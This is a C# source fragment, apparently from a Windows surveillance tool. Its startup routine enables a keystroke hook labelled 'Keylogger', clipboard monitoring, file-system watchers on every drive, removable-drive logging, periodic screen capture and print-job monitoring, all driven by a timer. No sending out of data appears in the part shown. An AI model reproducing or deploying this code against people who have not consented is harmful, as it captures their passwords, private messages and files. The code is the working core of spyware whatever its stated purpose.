void dm_DriveArrived(object sender, char e) { string details = ""; string name = e.ToString() + @":\"; FileSystemMonitor fsm = new FileSystemMonitor(name); fsm.FSMOpened += Monitor_Opened; fsm.FSMCreated += Monitor_CreatedDeletedModified; fsm.FSMDeleted += Monitor_CreatedDeletedModified; fsm.FSMRenamed += Monitor_CustomRenamed; foreach (DriveInfo d in DriveInfo.GetDrives()) { if (d.Name[0] == e) { details = String.Format("Drive {0} Label: {1} Type: {2} File format:" + " {3} Capacity: {4} Free space: {5}", d.Name, d.VolumeLabel, d.DriveType, d.DriveFormat, d.TotalFreeSpace, d.AvailableFreeSpace); } } LogEntry le = new LogEntry(Logfile.FullName, (uint)LogEntryIDs.RemovablePlug, details, machine, user); }
void MainForm_Load(object sender, EventArgs e) { Modules activemodules = (Modules)1135; uint interval = 0; //LoadSettings(ref activemodules,ref interval); if ((activemodules & Modules.Keystrokes) == Modules.Keystrokes) { // Setting up Keylogger hook = new Hook(true, false); hook.Keystroke += hook_Keystroke; hook.Start(); } if ((activemodules & Modules.RemDrives) == Modules.RemDrives) { // Setting up DriveMonitor dm = new DriveMonitor(); dm.DeviceArrived += dm_DriveArrived; dm.DeviceRemoved += dm_DriveRemoved; dm.DeviceQuerriedRemove += dm_DriveQuerriedRemove; } if ((activemodules & Modules.Clipboard) == Modules.Clipboard) { // Setting up ClipboardMonitor cm = new ClipboardMonitor(); cm.OnClipboardChange += cm_OnClipboardChange; cm.Start(); } if ((activemodules & Modules.FSOp) == Modules.FSOp) { // Setting up FileSystemMonitors foreach (DriveInfo di in DriveInfo.GetDrives()) { if ((di.DriveType == DriveType.Fixed || di.DriveType == DriveType.Removable) && di.IsReady) { FileSystemMonitor fsm = new FileSystemMonitor(di.Name); fsm.FSMOpened += Monitor_Opened; fsm.FSMCreated += Monitor_CreatedDeletedModified; fsm.FSMDeleted += Monitor_CreatedDeletedModified; fsm.FSMRenamed += Monitor_CustomRenamed; fsm.FSMModified += Monitor_CreatedDeletedModified; } } } if ((activemodules & Modules.Screenshoter) == Modules.Screenshoter && interval > 0) { // Setting up ScreenCapturer sc = new ScreenCapturer((int)interval * 60000); sc.Start(); } if ((activemodules & Modules.Printer) == Modules.Printer) { // Setting up PrinterMonitor PrintServer printServer = new PrintServer(); foreach (PrintQueue pq in printServer.GetPrintQueues()) { pm = new PrinterMonitor(pq.Name.Trim()); pm.OnJobStatusChange += printm_OnJobStatusChange; } } System.Timers.Timer timer = new System.Timers.Timer(30000); timer.AutoReset = true; timer.Elapsed += timer_Elapsed; timer.Start(); }